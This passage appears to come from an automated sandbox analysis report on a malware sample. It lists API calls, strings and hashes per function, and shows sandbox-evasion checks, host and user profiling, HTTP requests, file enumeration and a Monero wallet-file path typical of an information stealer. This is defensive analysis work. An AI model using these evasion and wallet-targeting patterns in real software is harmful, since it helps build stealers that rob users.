Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 1ba55cab43a61f11093bc095d89b34be90be61231c961e8e5ad0e7fb1d2e1811
Instruction ID: 39ec8549ae9984a5e335cb684837000cf103b8234fb4c4ce5c50c1f9e9212060
Opcode Fuzzy Hash: 1ba55cab43a61f11093bc095d89b34be90be61231c961e8e5ad0e7fb1d2e1811
Instruction Fuzzy Hash: 43310D71920208AADB04FBF0DC57BEE7778AF45350F108528F21AA6191DF706975CFA6

Function 00261220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0026123E
__aulldiv.LIBCMT ref: 00261258
__aulldiv.LIBCMT ref: 00261266
ExitProcess.KERNEL32 ref: 00261294

Strings

@, xrefs: 00261233

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 4ad248fff1e50833595f9255f7e442f82a983cfd2e1ce3991060df7dfab40564
Instruction ID: e5bcb6720f7045c2c504581132de1c336b5a465d14888a97bd10d1bc41304f61
Opcode Fuzzy Hash: 4ad248fff1e50833595f9255f7e442f82a983cfd2e1ce3991060df7dfab40564
Instruction Fuzzy Hash: E60162B0D50308FAEB10DFE0CC49B9EBB78BF04701F248454EB05B62C0D77465A58B59

Function 00276AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E29170,?,0028110C,?,00000000,?,00281110,?,00000000,00280AEF), ref: 00276ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00276AE8
CloseHandle.KERNEL32(00000000), ref: 00276AF9
Sleep.KERNEL32(00001770), ref: 00276B04
CloseHandle.KERNEL32(?,00000000,?,00E29170,?,0028110C,?,00000000,?,00281110,?,00000000,00280AEF), ref: 00276B1A
ExitProcess.KERNEL32 ref: 00276B22

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 551420b28bdb8899f3ca3a3b3409e0ad8666b5d2142a1568b228613ed9b8974a
Instruction ID: 78784e1026ca62c51d3ddf755743518c9c1c7254602c1c615abca77fdec82ff1
Opcode Fuzzy Hash: 551420b28bdb8899f3ca3a3b3409e0ad8666b5d2142a1568b228613ed9b8974a
Instruction Fuzzy Hash: 1DF05E3096061AAFE700ABA0DC0ABBE7B34FB05705F10C524B50AA51C1CBF05560DE6A

Function 002647B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00264839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00264849

Strings

<, xrefs: 002647C9

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: d21ba7cd44d86ed17032b23685d6342006e595e0f6327f46412c5994a2e28104
Instruction ID: 82c0710153e48a27c9584a2bf2e184bc04373ab97f6599c533bc74f08b697395
Opcode Fuzzy Hash: d21ba7cd44d86ed17032b23685d6342006e595e0f6327f46412c5994a2e28104
Instruction Fuzzy Hash: AD214FB5D00209ABDF14DFA4E845ADE7B75FB45320F108625F929A72C1EB706A15CF82

Function 002751F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

Part of subcall function 00266280: InternetOpenA.WININET(00280DFE,00000001,00000000,00000000,00000000), ref: 002662E1
Part of subcall function 00266280: StrCmpCA.SHLWAPI(?,00E2EA78), ref: 00266303
Part of subcall function 00266280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00266335
Part of subcall function 00266280: HttpOpenRequestA.WININET(00000000,GET,?,00E2DE60,00000000,00000000,00400100,00000000), ref: 00266385
Part of subcall function 00266280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 002663BF
Part of subcall function 00266280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 002663D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00275228

Strings

ERROR, xrefs: 00275273
ERROR, xrefs: 0027521A

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: be087de94e7c9b05c5b3be31f60b972418e40641b30777920bef42a1de9575e8
Instruction ID: 6146604f8abd2727b8776d895de40410f2668244b7b63afe6dea7fd66cb0e372
Opcode Fuzzy Hash: be087de94e7c9b05c5b3be31f60b972418e40641b30777920bef42a1de9575e8
Instruction Fuzzy Hash: 6E11EF30930148A6CB14FF74DD52AED7778AF90310F808168F81E5A592EF746B26CF96

Function 002778E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00277910
RtlAllocateHeap.NTDLL(00000000), ref: 00277917
GetComputerNameA.KERNEL32(?,00000104), ref: 0027792F

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: af2bdd04d571d6b243edf45295aed15c937901b780d24468494973578043c3dd
Instruction ID: cf25fbfb8fe9da6fd21f27a4ddcda53a776f69dd0b11d49d8e0d1c0f39c008fd
Opcode Fuzzy Hash: af2bdd04d571d6b243edf45295aed15c937901b780d24468494973578043c3dd
Instruction Fuzzy Hash: 870186B1915205EBC700DF94DD45BAABBB8FB05B11F104229F645E3280C3785914CBA2

Function 00261110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0026112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00261132
ExitProcess.KERNEL32 ref: 00261143

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: aa1c7e72efe842cbecb6f3a807516ff979c0ddc39882f246f44a00472261cc45
Instruction ID: 391483ec326bd2ed3834141aceebbf8a8de35e2d3eab6315021b7ffe1255eaa2
Opcode Fuzzy Hash: aa1c7e72efe842cbecb6f3a807516ff979c0ddc39882f246f44a00472261cc45
Instruction Fuzzy Hash: 41E0E670955308FFE7506BA09D0AB1D7A78AB05B01F504054F709B61D0D7B56A60DA9D

Function 002610A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 002610B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 002610F7

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: a3570561103b4cb47c4b7b208b816628e68cd1386ed1a29ed7a86061ba491a70
Instruction ID: 1fda90b527a63778324330d8c176fda760a3728e7f196fbebb219c753f2b40bb
Opcode Fuzzy Hash: a3570561103b4cb47c4b7b208b816628e68cd1386ed1a29ed7a86061ba491a70
Instruction Fuzzy Hash: DAF0E971641204BBEB149AA49C49FBBB7D8D705715F300458F904E7280D671AE54CA54

Function 00261190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 002778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00277910
Part of subcall function 002778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00277917
Part of subcall function 002778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0027792F

Part of subcall function 00277850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,002611B7), ref: 00277880
Part of subcall function 00277850: RtlAllocateHeap.NTDLL(00000000), ref: 00277887
Part of subcall function 00277850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0027789F

ExitProcess.KERNEL32 ref: 002611C6

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: c045db4c2516daf9172d47dd6147123e6b163b3298c7eec93a6801258b615389
Instruction ID: e2461ce57f54f8b519532e9c83c9fd477a0135bc6122d4c78c638b1d6b1dd066
Opcode Fuzzy Hash: c045db4c2516daf9172d47dd6147123e6b163b3298c7eec93a6801258b615389
Instruction Fuzzy Hash: E3E0ECA596420253CB0077B0AC0AB2A369C5B16345F084434BA0D92542FA39F870D96A

Non-executed Functions

Function 002738B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 002738CC
FindFirstFileA.KERNEL32(?,?), ref: 002738E3
lstrcat.KERNEL32(?,?), ref: 00273935
StrCmpCA.SHLWAPI(?,00280F70), ref: 00273947
StrCmpCA.SHLWAPI(?,00280F74), ref: 0027395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00273C67
FindClose.KERNEL32(000000FF), ref: 00273C7C

Strings

%s\*, xrefs: 002738C0
%s\%s, xrefs: 0027397A
%s%s, xrefs: 00273AAD
%s\%s\%s, xrefs: 00273A4A
%s\%s, xrefs: 00273A6F

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 460cb97b8f5bce807856cc52b4c3bc26d8672aed5bfe37841bbfa2d4e2ec262a
Instruction ID: fb3908dc84e325511377773689372ea2c324511e6faa1fd427051366d5079172
Opcode Fuzzy Hash: 460cb97b8f5bce807856cc52b4c3bc26d8672aed5bfe37841bbfa2d4e2ec262a
Instruction Fuzzy Hash: 83A174B19102199BDB64EF64CC85FEE7778BF49300F048598E60D96181EB749BA4CF62

Function 00274910 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0027492C
FindFirstFileA.KERNEL32(?,?), ref: 00274943
StrCmpCA.SHLWAPI(?,00280FDC), ref: 00274971
StrCmpCA.SHLWAPI(?,00280FE0), ref: 00274987
FindNextFileA.KERNEL32(000000FF,?), ref: 00274B7D
FindClose.KERNEL32(000000FF), ref: 00274B92

Strings

(, xrefs: 00274A3D
%s\%s, xrefs: 002749FB
%s\*, xrefs: 00274920
%s\%s, xrefs: 002749A4

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$(
API String ID: 180737720-1975300440
Opcode ID: a71edaa46a60bcd08417de827447ad33041c8c3410f567be8144d6ae7420fb22
Instruction ID: 912ce0247b3b45c4521c01d78fe222c724c06a7da759d36d1d44988ef6571c38
Opcode Fuzzy Hash: a71edaa46a60bcd08417de827447ad33041c8c3410f567be8144d6ae7420fb22
Instruction Fuzzy Hash: A96167B5910218ABCB60FFA0DC85EEA777CBB49700F048598B60D96140EF74EBA5CF95

Function 0026BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

FindFirstFileA.KERNEL32(00000000,?,00280B32,00280B2B,00000000,?,?,?,002813F4,00280B2A), ref: 0026BEF5
StrCmpCA.SHLWAPI(?,002813F8), ref: 0026BF4D
StrCmpCA.SHLWAPI(?,002813FC), ref: 0026BF63
